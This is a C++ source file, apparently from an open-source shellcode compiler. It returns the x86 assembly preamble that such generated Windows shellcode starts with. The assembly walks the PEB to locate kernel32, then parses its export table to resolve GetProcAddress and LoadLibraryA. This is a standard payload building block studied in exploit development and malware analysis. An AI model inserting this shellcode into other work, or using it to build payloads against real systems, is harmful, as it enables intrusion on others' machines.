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Copy pathASMHeader.cpp
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67 lines (59 loc) · 4.23 KB
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#include "ASMHeader.h"
// Function that returns the default ASM Header
string ASMHeader::GetASMHeader()
{
string sContent =
"; Shellcode generated using Shellcode Compiler \r\n"
"; https://github.com/NytroRST/ShellcodeCompiler \r\n\r\n"
"BITS 32 \r\n"
"SECTION .text \r\n"
"global main \r\n"
"main: \r\n\r\n"
"xor ecx, ecx \r\n"
"mov eax, [fs:ecx + 0x30] ; EAX = PEB \r\n"
"mov eax, [eax + 0xc] ; EAX = PEB->Ldr \r\n"
"mov esi, [eax + 0x14] ; ESI = PEB->Ldr.InMemOrder \r\n"
"lodsd ; EAX = Second module \r\n"
"xchg eax, esi ; EAX = ESI, ESI = EAX \r\n"
"lodsd ; EAX = Third(kernel32) \r\n"
"mov ebx, [eax + 0x10] ; EBX = Base address \r\n"
"mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanew \r\n"
"add edx, ebx ; EDX = PE Header \r\n"
"mov edx, [edx + 0x78] ; EDX = Offset export table \r\n"
"add edx, ebx ; EDX = Export table \r\n"
"mov esi, [edx + 0x20] ; ESI = Offset namestable \r\n"
"add esi, ebx ; ESI = Names table \r\n"
"xor ecx, ecx ; EXC = 0 \r\n\r\n"
"Get_Function: \r\n\r\n"
"inc ecx ; Increment the ordinal \r\n"
"lodsd ; Get name offset \r\n"
"add eax, ebx ; Get function name \r\n"
"cmp dword [eax], 0x50746547 ; GetP \r\n"
"jnz Get_Function \r\n"
"cmp dword [eax + 0x4], 0x41636f72 ; rocA \r\n"
"jnz Get_Function \r\n"
"cmp dword [eax + 0x8], 0x65726464 ; ddre \r\n"
"jnz Get_Function \r\n"
"mov esi, [edx + 0x24] ; ESI = Offset ordinals \r\n"
"add esi, ebx ; ESI = Ordinals table \r\n"
"mov cx, [esi + ecx * 2] ; Number of function \r\n"
"dec ecx \r\n"
"mov esi, [edx + 0x1c] ; Offset address table \r\n"
"add esi, ebx ; ESI = Address table \r\n"
"mov edx, [esi + ecx * 4] ; EDX = Pointer(offset) \r\n"
"add edx, ebx ; EDX = GetProcAddress \r\n\r\n"
"xor ecx, ecx ; ECX = 0 \r\n"
"push ebx ; Kernel32 base address \r\n"
"push edx ; GetProcAddress \r\n"
"push ecx ; 0 \r\n"
"push 0x41797261 ; aryA \r\n"
"push 0x7262694c ; Libr \r\n"
"push 0x64616f4c ; Load \r\n"
"push esp ; LoadLibrary \r\n"
"push ebx ; Kernel32 base address \r\n"
"call edx ; GetProcAddress(LL) \r\n\r\n"
"add esp, 0xc ; pop LoadLibrary \r\n"
"pop ecx ; ECX = 0 \r\n"
"push eax ; EAX = LoadLibrary \r\n\r\n";
return sContent;
}